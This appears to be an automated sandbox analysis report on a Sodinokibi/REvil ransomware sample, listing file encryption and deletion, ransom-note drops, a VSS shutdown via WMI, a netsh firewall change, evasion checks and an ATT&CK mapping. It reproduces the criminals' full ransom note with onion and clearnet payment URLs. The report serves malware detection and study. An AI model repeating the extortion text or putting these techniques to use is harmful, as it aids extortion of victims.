          Source: C:\i01pya-readme.txtDropped file: ---=== Welcome. Again. ===---[-] Whats HapPen? [-]Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension i01pya.By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).[+] What guarantees? [+]Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money.[+] How to get access on website? [+]You have two ways:1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CE2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decoder.re/D1138D947D02C3CEWarning: secondary website can be blocked, thats why first variant much bettJump to dropped file
          Yara detected Sodinokibi RansomwareShow sources
          Source: Yara matchFile source: 00000001.00000003.360012971.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.198968948.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.199098273.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.198889805.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.199008786.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.199066817.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.198932670.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.199040037.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000003.199110627.0000000002B38000.00000004.00000040.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: gtV10WjhFA.exe PID: 5960, type: MEMORY
          Contains functionalty to change the wallpaperShow sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02354EFA GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetDeviceCaps,MulDiv,CreateFontW,SelectObject,SetBkMode,SetTextColor,GetStockObject,FillRect,SetPixel,DrawTextW,SystemParametersInfoW,DeleteObject,DeleteObject,DeleteDC,ReleaseDC,1_2_02354EFA
          Modifies existing user documents (likely ransomware behavior)Show sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile moved: C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docxJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile deleted: C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docxJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile moved: C:\Users\user\Desktop\GAOBCVIQIJ\PIVFAGEAAV.mp3Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile deleted: C:\Users\user\Desktop\GAOBCVIQIJ\PIVFAGEAAV.mp3Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile moved: C:\Users\user\Desktop\SQSJKEBWDT.jpgJump to behavior

          System Summary:

          barindex
          PE file has nameless sectionsShow sources
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355C85 NtShutdownSystem,ExitWindowsEx,1_2_02355C85
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355DA9 DeleteService,1_2_02355DA9
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355C85 NtShutdownSystem,ExitWindowsEx,1_2_02355C85
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235C41F1_2_0235C41F
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023592521_2_02359252
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023597751_2_02359775
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235B78A1_2_0235B78A
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02358FF41_2_02358FF4
          Source: gtV10WjhFA.exe, 00000001.00000002.386434682.0000000000920000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamempr.dll.muij% vs gtV10WjhFA.exe
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeSection loaded: dsparse.dllJump to behavior
          Source: gtV10WjhFA.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: gtV10WjhFA.exe, type: SAMPLEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
          Source: 1.2.gtV10WjhFA.exe.2350000.1.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
          Source: 1.0.gtV10WjhFA.exe.2350000.0.unpack, type: UNPACKEDPEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
          Source: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
          Source: 00000001.00000000.198577869.0000000002351000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
          Source: classification engineClassification label: mal100.rans.evad.winEXE@5/132@0/0
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355508 GetDriveTypeW,GetDiskFreeSpaceExW,1_2_02355508
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355B1F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,1_2_02355B1F
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files\tmpJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\tmpJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeMutant created: \Sessions\1\BaseNamedObjects\Global\422BE415-4098-BB75-3BD9-3E62EE8E8423
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5248:120:WilError_01
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: C:\Users\user\AppData\Local\Temp\i5zp9z4z01.bmpJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle="1012"::GetOwner
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile read: C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: gtV10WjhFA.exeVirustotal: Detection: 63%
          Source: unknownProcess created: C:\Users\user\Desktop\gtV10WjhFA.exe 'C:\Users\user\Desktop\gtV10WjhFA.exe'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
          Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: unknownProcess created: C:\Windows\System32\wbem\unsecapp.exe C:\Windows\system32\wbem\unsecapp.exe -Embedding
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=YesJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4a04656d-52aa-49de-8a09-cb178760e748}\InProcServer32Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeDirectory created: c:\program files\tmpJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeDirectory created: c:\program files\i01pya-readme.txtJump to behavior
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: gtV10WjhFA.exeStatic PE information: section name:
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235F403 push 0000006Ah; retf 1_2_0235F4DC
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02363474 push 00000025h; ret 1_2_02363476
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0236347C push 00000050h; iretd 1_2_023634C4
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235F46D push 0000006Ah; retf 1_2_0235F4DC
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235F46B push 0000006Ah; retf 1_2_0235F4DC
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023634B8 push 00000050h; iretd 1_2_023634C4
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0236349F push 00000050h; iretd 1_2_023634C4
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02363161 push ecx; retf 1_2_0236318F
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: C:\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\recovery\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\110\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\favorites\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\saved games\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\default\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\3d objects\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\contacts\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\favorites\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\onedrive\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\recent\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\saved games\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\searches\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\accountpictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\desktop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\documents\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\downloads\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\libraries\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\music\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\pictures\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\public\videos\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\bnagmgsplo\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\eowrvpqccs\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\gaobcviqij\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\palrgucveh\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\qncycdfijj\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\desktop\sqsjkebwdt\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\bnagmgsplo\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\duudtubzfw\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\gaobcviqij\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\qcfwyskmha\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\sqsjkebwdt\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\documents\zggknsukop\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\favorites\links\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile created: c:\users\user\pictures\camera roll\i01pya-readme.txtJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
          Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion:

          barindex
          Contains functionality to detect sleep reduction / modificationsShow sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023561C81_2_023561C8
          Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)Show sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Service'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Service.Name="VSS"::StopService
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Service'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Service'
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235611E rdtsc 1_2_0235611E
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02357FC1 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_02357FC1
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: EnumServicesStatusExW,RtlGetLastWin32Error,EnumServicesStatusExW,1_2_0235423B
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeWindow / User API: threadDelayed 9999Jump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_1-5047
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_1-5030
          Source: C:\Users\user\Desktop\gtV10WjhFA.exe TID: 256Thread sleep count: 9999 > 30Jump to behavior
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02358122 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_02358122
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355AEB GetSystemInfo,1_2_02355AEB
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeAPI call chain: ExitProcess graph end nodegraph_1-5053
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235611E rdtsc 1_2_0235611E
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02357FC1 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_02357FC1
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235580E mov eax, dword ptr fs:[00000030h]1_2_0235580E
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355B02 mov ecx, dword ptr fs:[00000030h]1_2_02355B02
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_02355174 HeapCreate,GetProcessHeap,1_2_02355174
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: OpenProcess,QueryFullProcessImageNameW,PathFindFileNameW, svchost.exe1_2_0235532D
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023579F8 AllocateAndInitializeSid,SetEntriesInAclW,SetNamedSecurityInfoW,1_2_023579F8
          Source: unsecapp.exe, 00000016.00000002.467691024.000001CEA6610000.00000002.00000001.sdmpBinary or memory string: Program Manager
          Source: unsecapp.exe, 00000016.00000002.467691024.000001CEA6610000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
          Source: unsecapp.exe, 00000016.00000002.467691024.000001CEA6610000.00000002.00000001.sdmpBinary or memory string: Progman
          Source: unsecapp.exe, 00000016.00000002.467691024.000001CEA6610000.00000002.00000001.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_0235544D cpuid 1_2_0235544D
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeCode function: 1_2_023558B4 GetUserNameW,1_2_023558B4

          Lowering of HIPS / PFW / Operating System Security Settings:

          barindex
          Modifies the windows firewallShow sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
          Uses netsh to modify the Windows network and firewall settingsShow sources
          Source: C:\Users\user\Desktop\gtV10WjhFA.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Replication Through Removable Media1Windows Management Instrumentation11DLL Side-Loading1DLL Side-Loading1Disable or Modify Tools2OS Credential DumpingPeripheral Device Discovery11Replication Through Removable Media1Archive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact1
          Default AccountsNative API2Windows Service1Windows Service1Obfuscated Files or Information1LSASS MemoryAccount Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothProxy1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationSystem Shutdown/Reboot1
          Domain AccountsService Execution1Logon Script (Windows)Process Injection12DLL Side-Loading1Security Account ManagerSystem Service Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDefacement1
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Masquerading3NTDSFile and Directory Discovery2Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptVirtualization/Sandbox Evasion1LSA SecretsSystem Information Discovery25SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.commonProcess Injection12Cached Domain CredentialsQuery Registry1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncSecurity Software Discovery23Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemVirtualization/Sandbox Evasion1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadowProcess Discovery3Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
          Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork SniffingApplication Window Discovery1Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
          Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput CaptureSystem Owner/User Discovery1Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          gtV10WjhFA.exe63%VirustotalBrowse
          gtV10WjhFA.exe100%AviraTR/Crypt.XPACK.Gen
          gtV10WjhFA.exe100%Joe Sandbox ML

          Dropped Files

          No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          1.2.gtV10WjhFA.exe.2350000.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
          1.0.gtV10WjhFA.exe.2350000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File

          Domains

          No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
